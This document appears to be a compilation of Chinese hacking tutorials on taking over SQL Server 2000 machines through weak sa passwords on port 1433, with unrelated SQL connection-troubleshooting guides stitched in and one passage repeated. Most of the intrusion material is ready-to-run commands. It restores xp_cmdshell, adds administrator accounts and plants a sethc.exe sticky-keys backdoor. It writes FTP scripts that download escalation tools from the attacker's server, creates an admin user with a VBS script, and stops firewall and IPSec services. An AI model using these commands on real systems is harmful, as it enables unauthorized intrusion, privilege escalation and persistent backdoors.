1433口令提权详细过程及错误修复
- 格式:doc
- 大小:46.00 KB
- 文档页数:6
利用SQL之1433端口巧妙入侵服务器利用1433端口提权相信大家扫到很多1433 都提示用net net1 提权都说拒绝访问!且又无法上传!今天给大家针对Net没权限情况的提权方法;1、未找到储存过程!那就来修复下吧!用到SQL语句:xp_cmdshell新的恢复办法第一步先删除:drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell'第二步恢复:dbcc addextendedproc ("sp_oacreate","odsole70.dll")dbcc addextendedproc ("xp_cmdshell","xplog70.dll")直接恢复,不管sp_addextendedproc是不是存在图12、修复好了!又出现问题了!xplog70.dll被删除了!看来只有用授鱼的那修复法!图23、d:\应用软件\SQLServer2000MicrosoftSQLServer2000SP4简体中文企业光盘版\SP4\x86\binn\xplog70.dLL找到了哈哈!图34、恢复!用到SQL语句:第一exec sp_dropextendedproc 'xp_cmdshell'第二dbcc addextendedproc ("xp_cmdshell","d:\应用软件\SQLServer2000MicrosoftSQLServer2000SP4简体中文企业光盘版\SP4\x86\binn\xplog70.dLL")恢复好了图45、提下权 net net1 都拒绝访问!管理降低了权限!图56、于是我想到了后门提权! 居然管理也注意到了后门!写了权限!用到CMD命令:五shift键(前提是能执行DOS命令,并且sethc.exe没加保护)一般只要执行第一步!copy C:\WINDOWS\explorer.exe c:\windows\system32\sethc.execopy C:\WINDOWS\explorer.exe c:\windows\system32\dllcache\sethc.exe图67、插入一点:如果DOS不能执行命令的话!那就用SQL执行替换命令!(成功率比较低!)用到SQL语句:利用SQL分析器开shift后门(一般只要执行第一步!然后进入后,替换自己的后门)第一:declare @o intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o,'copyfile',null,'C:\WINDOWS\explorer.exe' ,'c:\windows\system32\sethc.exe';第二:declare @oo intexec sp_oacreate 'scripting.filesystemobject', @oo outexec sp_oamethod @oo,'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 图78、这里是本节的重点了!利用传马的方式提权!首先自己架设一个FTP 或是自己已经有FTP的!把本机的net放到FTP空间里去!随便改个名字!切记不要和net相同即可!把FTP传马方式的语句一句一句复制执行DOS命令!用到CMD命令:echo open FTP> xiuxiu.txt 注意 xiuxiu.txt你可以随意改!但是要和下的相同! echo 帐号>> xxxx.txtecho 密码>> xxxx.txtecho binary >> xxxx.txtecho get net的名字.exe>> xxxx.txtecho bye >> xxxx.txtftp -s:xxxx.txtdel xxxx.txt. /q /f图89、好了!执行下最后一条命令! 嘿嘿!发现和FTP抓鸡方式一样!有鸡来下载!图910、好了!最后一条命令执行成功了!返回以下数据!注意:服务器必须能上网!图1011、我XXxX 我自己的 net好象没加权限吧! 居然不能执行返回了以下数据!发生系统错误5...这很多人都遇见过!其实可以省掉一部分! 以后提权传net的时候不要传net 直接net1 因为所以!我也解释不清楚!图1112、嘿嘿 net1后成功了! 提权成功!图1213、远程登录成功图13。
1433端口提权的过程随着网络安全意识的提高,很多服务器的安全防范都非常严了,本人对web入侵是一巧不通就只会扫扫1433弱口令的服务器,于是研究一段时间,虽然进步不大,但是还是想把经验分享一下,正所谓授人以鱼不如授人以渔,而我现在正是告诉你打鱼的方法,下面就以一台服务器为例了,本例使用工具为SQL TOOLS 2.0,论坛有下,请自行搜索。
插播不是广告的广告:该工具集成度高,简单的sql指令无须使用分离器,直接在此工具中执行即可,其文件管理功能非常强大,反正我用着太顺手了,推荐一下,本文原创发布于=华夏黑客同盟论坛=()广告完毕。
把扫到的ip和sa及口令填入连接后,用dos命令功能试试列目录显示错误信息:Error Message:无法装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL。
原因: 126(找不到指定的模块。
)。
这种情况大家在提权过程中经验遇到啊,它是由于xplog70.dll这个文件被删除或者做了其他限制,导致出现这个错误的这个错误的直接后果就是sql数据库的xp_cmdshell的存储过程无法使用,无法执行命令提权自然就无从说起了,当然我们还可以考虑其他的存储过程如:sp_oacreate和sp_oamethod来直接添加帐号,或者使用沙盘指令来提权,但这台服务器,这些功能都被限制了,还是考虑下恢复xplog70.dll了,测试上传无法成功,这条路走不通了,这时就考虑用到工具的文件管理功能了看到了把,和windows的资源管理器一样好用,目录列出来了,搜索一下可以用来提权的东西吧,这里我们首先要去看看sql的安装路径里的xplog70.dll文件是否存在看到吧,xplog70.dll文件不见了,被删除了,xpweb70.dll也被改了名字了-. - 继续搜寻下其他盘看看还有什么东西d盘下有几个网站和几个论坛,这些都是有用的信息,一旦sql的错误无法恢复的时候,我们就可以考虑通过这些网站来进行提权了,网站的提权,我就是搞不定,痛苦啊==!!继续搜索在e盘下竟然有个sql2000的原始安装文件备份,怦然心动的感觉是美妙的,感谢我们亲爱的服务器管理员大人,看看这是什么====e:\备份软件\MS Sql 2000\DEVELOPER\X86\BINN\那我们就开始恢复试试吧,切换到sql命令项,输入指令exec sp_dropextendedproc 'xp_cmdshell' //这个指令是删除sql数据库的xp_cmdshell的存储过程接着输入指令,重新加载新路径的存储过程。
前段时间我朋友给我一个sopo的软件,说是扫1433口令的,而且猜解速度很快,我就找个服务器试了试,确实不错能扫到一些比较强点的口令。
所以这段时间就玩了一下1433错误的恢复和提权。
(有人可能会说了,这有啥好研究的,sa的权限直接加用户到超管不就成了吗。
其实在sa权限下还是有很多的问题的大家可以捡有用的看没用的就略过吧)下面来说sa下执行命令错误的几种情况:1、无法装载DLL xpsql70.dll或该DLL所引用的某一DLL。
原因126(找不到指定模块。
)这种情况比较常见的,修复起来说简单也简单,但是有条件的。
这种情况要是能列出目录(用sqltools v2.0就有列目录功能)恭喜你这个有80%的情况能修复了,如果能列目录,那么只要找到xplog70.dll的路径执行以下命令就可以了。
第一步exec sp_dropextendedproc 'xp_cmdshell' (这个命令就是删除原有的cmdshell,因为已经出错了)第二步dbcc addextendedproc (“xp_cmdshell”,“c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”);EXEC sp_configure 'show advanced options', 0 –当然这是sql命令,用查询分析器执行。
第二步里的c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll就是xplog70.dll的路径,这个路径是比较常见的,如果c盘没有可以找找其他盘符。
2、无法在库xpweb70.dll 中找到函数xp_cmdshell。
原因:127(找不到指定的程序。
)其实这个跟上面的126是一样的就是cmdshell出错了只要找到备份的xplog70.dll按照上面的方法就能修复了。
net user SQLDebugger list /addnet localgroup administrators SQLDebugger /addError Message:未能找到存储过程'master..xp_cmdshell'。
修复法:很通用的,其实碰到其他126 127的都可以一起修复,除了xplog70.dll其他的都可以用这命令修复[/post]xp_cmdshell新的恢复办法第一步先删除:drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell'服务器: 消息3701,级别11,状态5,行 1无法除去过程'sp_addextendedproc',因为它在系统目录中不存在。
服务器: 消息3701,级别11,状态5,过程sp_dropextendedproc,行18无法除去过程'xp_cmdshell',因为它在系统目录中不存在。
第二步恢复:dbcc addextendedproc ("sp_oacreate","odsole70.dll")dbcc addextendedproc ("xp_cmdshell","xplog70.dll")直接恢复,不管sp_addextendedproc是不是存在xplog70.dll修复:Error Message:无法装载DLL xplog70.dll 或该DLL 所引用的某一DLL。
原因: 126(找不到指定的模块。
)。
修复XPLOG70.DLL(先用文件查看下备份的目录下\x86\bin,然后把下面目录替换)第一步exec sp_dropextendedproc 'xp_cmdshell'第二步dbcc addextendedproc ("xp_cmdshell","c:\sql2ksp4\x86\binn\xplog70.dll")未能找到存储过程'master..xp_cmdshell'。
一则sql server2000不能监听1433端口问题的解决建立到远程sql server数据库连接时失败,提示“SQL Server不存在或访问被拒绝”。
出现这种状况极有可能的原因是sql server2000未开启默认的1433端口。
一、判断运行cmd,在控制台执行telnet ip1433。
如果命令执行成功,可以看到屏幕一闪之后光标在左上角不停闪动,这说明SQL Server服务器工作正常,并且正在监听1433端口的TCP/IP连接如果命令返回”无法打开连接”的错误信息,则说明服务器端没有启动SQL Server服务。
二、检查和分析1检查远程服务器是否启动了sql server2000服务。
如果没有,则启动。
2检查服务器端有没启用Tcp/IP协议,因为远程连接(通过因特网)需要靠这个协议。
检查方法是,在服务器上打开开始菜单->程序->Microsoft SQL Server->服务器网络实用工具,看启用的协议里是否有tcp/ip协议,如果没有,则启用它。
3检查服务器的tcp/ip端口是否配置为1433端口。
仍然在服务器网络实用工具里查看启用协议里面的tcp/ip的属性,确保默认端口为1433,并且隐藏服务器复选框没有勾上。
4如果服务器端操作系统打过sp2补丁,则要对windows防火墙作一定的配置,要对它开放1433端口,通常在测试时可以直接关掉windows防火墙(其他的防火墙也关掉最好)。
5检查服务器是否在1433端口侦听。
如果服务器没有在tcp连接的1433端口侦听,则是连接不上的。
检查方法是在服务器的dos或命令行下面输入netstat-a-n或者是netstat-an,在结果列表里看是否有类似tcp127.0.0.11433listening的项。
如果没有,则通常需要给sql server2000打上至少sp3的补丁。
因为win2003sql server2000sp3以前的版本默认是关闭1433端口的,这点可以在系统日志里的应用程序日志可以看到相应的描述。
如果你的sq l server 2000远程连接时,无法打开1433端口,请按照以下顺序进行检查和修正:1.如果你是wi n2003,那么一定要安装sql的补丁sp3a检查你的SQ L有没有打补丁,没有的话要打上补丁,检查的方法是在查询分析器中运行:select @@versio n如果出来的版本号是8.00.760以下,则表明你未安装sp3的补丁,要装上.SQL补丁下载:全部补丁的位置http://www.micros /downlo ads/detail s.aspx?displa ylang=zh-cn&Fam ily ID=9032f608-160a-4537-a2b6-4cb265b80766注意下载后,执行的时候是解压,要在解压后的目录中执行setup.bat才是真正的安装2.SQL Server连接中的四个最常见错误:一."SQL Server不存在或访问被拒绝"这个是最复杂的,错误发生的原因比较多,需要检查的方面也比较多.一般说来,有以下几种可能性:1,SQL Server名称或IP地址拼写有误2,服务器端网络配置有误3,客户端网络配置有误要解决这个问题,我们一般要遵循以下的步骤来一步步找出导致错误的原因.============= 首先,检查网络物理连接 =============ping <服务器IP地址/服务器名称>如果 ping <服务器IP地址> 不成功,说明物理连接有问题,这时候要检查硬件设备,如网卡,HUB,路由器等.还有一种可能是由于客户端和服务器之间安装有防火墙软件造成的,比如 ISA Server.防火墙软件可能会屏蔽对 ping,telnet等的响应因此在检查连接问题的时候,我们要先把防火墙软件暂时关闭,或者打开所有被封闭的端口.如果ping <服务器IP地址> 成功而,ping <服务器名称>失败则说明名字解析有问题,这时候要检查 DNS 服务是否正常.有时候客户端和服务器不在同一个局域网里面,这时候很可能无法直接使用服务器名称来标识该服务器,这时候我们可以使用HO STS文件来进行名字解析,具体的方法是:1.使用记事本打开HOST S文件(一般情况下位于C:\WINNT\system32\driver s\etc).添加一条IP地址与服务器名称的对应记录,如:172.168.10.24 myserv er2.或在 SQL Server的客户端网络实用工具里面进行配置,后面会有详细说明.============= 其次,使用telnet命令检查SQ L Server服务器工作状态=============telnet <服务器IP地址> 1433如果命令执行成功,可以看到屏幕一闪之后光标在左上角不停闪动,这说明 SQL Server服务器工作正常,并且正在监听1433端口的 TCP/IP 连接如果命令返回"无法打开连接"的错误信息,则说明服务器端没有启动SQL Server服务,也可能服务器端没启用TCP/IP 协议,或者服务器端没有在 SQL Server默认的端口1433上监听.=============接着,我们要到服务器上检查服务器端的网络配置,检查是否启用了命名管道.是否启用了TCP/IP 协议等等 =============可以利用 SQL Server自带的服务器网络使用工具来进行检查.点击:程序 -- Micros oft SQL Server -- 服务器网络使用工具打开该工具后,在"常规"中可以看到服务器启用了哪些协议.一般而言,我们启用命名管道以及TCP/IP 协议.点中 TCP/IP 协议,选择"属性",我们可以来检查 SQK Server服务默认端口的设置一般而言,我们使用 SQL Server默认的1433端口.如果选中"隐藏服务器",则意味着客户端无法通过枚举服务器来看到这台服务器,起到了保护的作用,但不影响连接.============= 接下来我们要到客户端检查客户端的网络配置============= 我们同样可以利用 SQL Server自带的客户端网络使用工具来进行检查,所不同的是这次是在客户端来运行这个工具.点击:程序 -- Micros oft SQL Server -- 客户端网络使用工具打开该工具后,在"常规"项中,可以看到客户端启用了哪些协议.一般而言,我们同样需要启用命名管道以及 TCP/IP 协议.点击 TCP/IP 协议,选择"属性",可以检查客户端默认连接端口的设置,该端口必须与服务器一致.单击"别名"选项卡,还可以为服务器配置别名.服务器的别名是用来连接的名称, 连接参数中的服务器是真正的服务器名称,两者可以相同或不同.别名的设置与使用HOS TS文件有相似之处.通过以上几个方面的检查,基本上可以排除第一种错误.-----------------------------------------------------------------------------二."无法连接到服务器,用户xxx登陆失败"该错误产生的原因是由于SQL Server使用了"仅 Window s"的身份验证方式,因此用户无法使用SQL Server的登录帐户(如 sa )进行连接.解决方法如下所示:1.在服务器端使用企业管理器,并且选择"使用 Window s 身份验证"连接上 SQL Server在企业管理器中--右键你的服务器实例(就是那个有绿色图标的)--编辑SQLServer注册属性--选择"使用wind ows身份验证"2.展开"SQL Server组",鼠标右键点击SQL Server服务器的名称,选择"属性",再选择"安全性"选项卡3.在"身份验证"下,选择"SQL Server和 Window s ".4.重新启动SQ L Server服务.在以上解决方法中,如果在第 1 步中使用"使用 Window s 身份验证"连接 SQL Server失败,那就通过修改注册表来解决此问题:1.点击"开始"-"运行",输入rege dit,回车进入注册表编辑器2.依次展开注册表项,浏览到以下注册表键:[HKEY_L OCAL_MACHI NE\SOFTWA RE\Micros oft\MSSQLS erver\MSSQLS erver]3.在屏幕右方找到名称"LoginM ode",双击编辑双字节值4.将原值从1改为2,点击"确定"5.关闭注册表编辑器6.重新启动SQ L Server服务.-==========此时,用户可以成功地使用sa在企业管理器中新建S QL Server注册,但是仍然无法使用Win dows身份验证模式来连接SQ L Server.这是因为在SQL Server中有两个缺省的登录帐户:BUILTI N\Admini strat ors<机器名>\Admini strat or 被删除.要恢复这两个帐户,可以使用以下的方法:1.打开企业管理器,展开服务器组,然后展开服务器2.展开"安全性",右击"登录",然后单击"新建登录"3.在"名称"框中,输入 BUILTI N\Admini strat ors4.在"服务器角色"选项卡中,选择"System Admini strat ors"5.点击"确定"退出6.使用同样方法添加 <机器名>\Admini strat or 登录.说明:以下注册表键:HKEY_L OCAL_MACHI NE\SOFTWA RE\Micros oft\MSSQLS erver\MSSQLS erver\LoginM o de的值决定了S QL Server将采取何种身份验证模式.1.表示使用"Window s 身份验证"模式2.表示使用混合模式(Window s 身份验证和SQL Server身份验证).三.提示连接超时如果遇到第三个错误,一般而言表示客户端已经找到了这台服务器,并且可以进行连接,不过是由于连接的时间大于允许的时间而导致出错.这种情况一般会发生在当用户在In terne t上运行企业管理器来注册另外一台同样在I ntern et上的服务器,并且是慢速连接时,有可能会导致以上的超时错误.有些情况下,由于局域网的网络问题,也会导致这样的错误.要解决这样的错误,可以修改客户端的连接超时设置.默认情况下,通过企业管理器注册另外一台SQL Server的超时设置是 4 秒,而查询分析器是 15 秒(这也是为什么在企业管理器里发生错误的可能性比较大的原因).具体步骤为:企业管理器中的设置:1.在企业管理器中,选择菜单上的"工具",再选择"选项"2.在弹出的"SQL Server企业管理器属性"窗口中,点击"高级"选项卡3.在"连接设置"下的"登录超时(秒)"右边的框中输入一个比较大的数字,如 20. 查询分析器中的设置:工具 -- 选项 -- 连接 -- 将登录超时设置为一个较大的数字四.大部分机都用Tcp/ip才能成功,有次我发现用Named Pipes才可以?这是因为在W INDOW S 2000以后的操作系统中,MS为解决S QL SERVER的安全问题将TCP/IP配置为SQLSE RVER的默认连接协议,你可以在CL IENTNETWOR K UTILIT Y中看到T CP/IP 和NAM E PIPE的顺序。
Telnet 1433端口无法使用的问题对于telnet的一些故障问题,我们有时候会遇到一些有关于端口的问题。
那么我们曾经提到的telnet 1433端口不知道大家是否还有印象,这里我们就来针对这个端口的一些问题来进行一下阐述。
看看如何解决telnet 1433端口打不开的问题。
1、数据库服务未启动.2、防火墙屏蔽了对telnet的响应.3、SQL服务未在1433端口上启动监听.如果你用查询分析器可以连接上,应用软件也连得上,只是telnet 1433端口失败;并且也未改动过服务端口,其它都是正常的,那么这种问题在XP2+SQL SERVER 2000环境中最常见.解决办法几种:1、反安装XP2的补丁,这样通常是不会出现SQL SERVER连不上的问题的.2、XP2的操作系统安装SQL SERVER 2000的SP3补丁可解决telnet 1433端口无法打开的问题.3、其它操作系统比如2003的,最好补一下SQL SP4的.检查你的SQL有没有打补丁,没有的话要打上补丁,检查的方法是在查询分析器中运行:select @@version如果出来的版本号是8.00.2039以下,则表明你未安装sp4的补丁,要装上.SQL补丁下载:全部补丁的位置/downloads/details.aspx?FamilyId=8E2DFC8D-C20E-4446-99A9-B7F 0213F8BC5&displaylang=zh-cn应该安装的是/download/9/b/f/9bff6646-2cdb-4069-ada0-548be9cb9338/SQL200 0-KB884525-SP4-x86-CHS.EXE注意下载后,执行的时候是解压,要在解压后的目录中执行setup.bat才是真正的安装如果你的操作系统是xp,那么在安装xp sp2后,不管以前是否安装过sql sp4,都要再安装一次,并且在防火墙中开启1433端口,否则无法被其他电脑访问如何检查telnet 1433端口是否在监听?或者检查有哪些端口在监听?1、如果打了sql sp3,并且windows2003防火墙已经关闭, 在命令提示符下执行netstat -na 应该可以看到tcp 1433在监听.2、启动企业管理器查看SQL SERVER 2000 的系统日志,在日志中可以看到SQL SERVER 启动的是那些协议来等待远程连接的.另外记得打完补丁,重新启动机器,或者重新启动服务.。
笔者,最近制作了一款winf orm系统软件,数据库是sq l server 2005,部署在服务器上,而系统软件安装在从机上。
安装好后发现数据库没有连接上,于是与服务器端进行连接测试,现把调试过程描述如下。
(以本机为例)1. 首先要测试本机的物理连接与服务器端的物理连接是否畅通。
a. 方法:开始-→运行→cmd ping 127.0.0.1有返回值表示已经调通。
2. 测试telnet远程连接服务是否畅通,a. 方法telnet127.0.0.1 1433 其中1433为数据库服务端口,如果为出行如下黑屏则说明有一些原因导致。
连接不上的提示是:原因分析:1. 先看看win dows自带的防火墙是否关闭方法:开始-→设置->控制面板→window s防火墙建议关闭防火墙。
2. 如果是sql server2005的数据库,需要看下是否安装了sq l server2005e xpres s组件(笔者就是没有安装这个组件的原因所导致)。
a.检查下配置:服务和连接的外围应用配置器同时使用TC P/IP和named pipes。
b.sql server配置管理器1). Sql server 2005服务启动sql server (sqlexp ress服务)2).sqlexp ress的协议中启动TCP/IP协议,TCP/IP属性 IPALLTCP端口改为1433右击“SQL Server (SQLEXP RESS)”,选择重新启动。
再回到命令行下,键入:telnet localh ost 1433 进入黑屏。
前段时间我朋友给我一个sopo的软件,说是扫1433口令的,而且猜解速度很快,我就找个服务器试了试,确实不错能扫到一些比较强点的口令。
所以这段时间就玩了一下1433错误的恢复和提权。
(有人可能会说了,这有啥好研究的,sa的权限直接加用户到超管不就成了吗。
其实在sa权限下还是有很多的问题的大家可以捡有用的看没用的就略过吧)下面来说sa下执行命令错误的几种情况:1、无法装载DLL xpsql70.dll或该DLL所引用的某一DLL。
原因126(找不到指定模块。
)这种情况比较常见的,修复起来说简单也简单,但是有条件的。
这种情况要是能列出目录(用sqltools v2.0就有列目录功能)恭喜你这个有80%的情况能修复了,如果能列目录,那么只要找到xplog70.dll的路径执行以下命令就可以了。
第一步exec sp_dropextendedproc 'xp_cmdshell' (这个命令就是删除原有的cmdshell,因为已经出错了)第二步dbcc addextendedproc (“xp_cmdshell”,“c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”);EXEC sp_configure 'show advanced options', 0 –当然这是sql命令,用查询分析器执行。
第二步里的c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll就是xplog70.dll的路径,这个路径是比较常见的,如果c盘没有可以找找其他盘符。
2、无法在库xpweb70.dll 中找到函数xp_cmdshell。
原因:127(找不到指定的程序。
)其实这个跟上面的126是一样的就是cmdshell出错了只要找到备份的xplog70.dll按照上面的方法就能修复了。
3、未能找到存储过程‘masterxpcmdshell'这种情况我看到网上的方法是:第一步先删除:drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell'第二步恢复:dbcc addextendedproc (“sp_oacreate”,“odsole70.dll”)dbcc addextendedproc (“xp_cmdshell”,“xplog70.dll”)其实这个跟上面的还是一样,其实如果细心的话,上面的126 127只执行第一步的时候就会出现未能找到存储过程'masterxpcmdshell' 因为第一步就是删除cmdshell的存储过程。
所以这种情况下只执行上面的第二个步骤就可以了。
4.Error Message:SQL Server 阻止了对组件'xp_cmdshell' 的过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
系统管理员可以通过使用sp_configure 启用'xp_cmdshell’。
有关启用'xp_cmdshell' 的详细信息,请参阅SQL Server 联机丛书中的“外围应用配置器”。
这种情况是最简单的了,因为什么都不用考虑,直接执行以下命令就可以了;EXEC sp_configure 'show advanced options', 1 --;RECONFIGURE WITH OVERRIDE --;EXEC sp_configure 'xp_cmdshell', 1 --;RECONFIGURE WITH OVERRIDE --;EXEC sp_configure 'show advanced options', 0 –经过上面的修复能够执行cmd命令了,下面就要开始提权了。
我一般都是ipconfig先查下ip看看是不是内网,然后REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal “”Server\WinStations\RDP-Tcp /v PortNumber查看一下终端端口,再netstat –an看看终端是否打开然后net user 用户密码/add 加个用户再net localgroup administrators 用户/add一切顺利的话,这就拿下一个服务器了。
但是在这个过程中还会遇到很多问题。
1、net提权成功但是连接不上终端有下面几种情况(1)、服务器在内网。
(2)、做了tcp/ip筛选。
先执行下面cmd命令:cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip,导出注册表里关于TCP/IP筛选的第一处cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip,导出注册表里关于TCP/IP筛选的第二处cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip“,导出注册表里关于TCP/IP筛选的第三处然后回到c盘1.reg,2.reg,3.reg,把1.reg,2.reg,3.reg下载回来到自己的硬盘里面编辑一下,找到EnableSecurityFilters这个字段看看dword后面的键值是否为00000000,如果为00000001就说明管理员做了tcp/ip筛选,我们只要把1改成0就行了,2.reg和3.reg进行一样的修改。
(3)、做了ip安全策略。
执行cmd命令:cmd /c net stop policyagent 将IPSEC Services服务停了它。
再连终端。
(4)、管理员设置的终端登陆权限只有指定的用户可以。
(5)、防火墙。
执行cmd命令:net stop alg /y net stop sharedaccess2、net提权出现拒绝访问可以尝试一下net1 user 用户密码/add 如果net1也是拒绝访问可以copy一个shfit后门试试执行cmd命令:copy c:\windows\explorer.exe c:\windows\system32\sethc.execopy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe如果提示复制1文件哪么证明成功了。
连接终端然后按5下shift看看蹦出来了什么。
玩咔咔资源管理器,现在只要手工加个用户就好了。
3、net提权出现拒绝访问错误5 (重点)这种情况就不用尝试net1了,可以试试copy shift后门,如果copy后提示复制0文件,证明没有成功。
那么可以试试能不能上传,如果能上传直接传个前段时间出来的无net提权工具,然后加个用户就可以了。
但是这种情况大部分都是不能上传的,那么就要考虑一下了。
既然能执行cmd,那么就能通过cmd下ftp下载文件,可是ftp前提是要能写进文本或批处理。
那么就可以通过sql语句写进一个文本或批处理啊。
declare @o int, @f int, @t int, @ret intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1exec @ret = sp_oamethod @f, 'writeline', NULL,'open IP'exec @ret = sp_oamethod @f, 'writeline', NULL,'ftp账号‘exec @ret = sp_oamethod @f, 'writeline', NULL,'ftp密码'exec @ret = sp_oamethod @f, 'writeline', NULL,'get en.exe(无net提权脚本)c:\en.exe'exec @ret = sp_oamethod @f, 'writeline', NULL,'bye'查询分析器执行成功后,不出意外,会在c盘出现一个1.bat(如果执行成功了,c盘却没有,可以换个文件夹写入,因为哪个服务器c盘根目录禁止写入)然后cmd执行ftp -s:c:\1.bat这个执行完了以后,就会在c盘ftp下载一个无net提权脚本或者直接写个vbs提权脚本declare @o int, @f int, @t int, @ret intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject(”ers“)'exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create(”用户“)'exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword ”密码“,”“'exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting(”AccountType“)=3'然后cmd执行cscript c:\1.vbs 就可以了4、前面说的是修复成功能执行cmd命令的,但是有的修复后,又会出现新的问题(1)、Message:在执行xp_cmdshell 的过程中出错。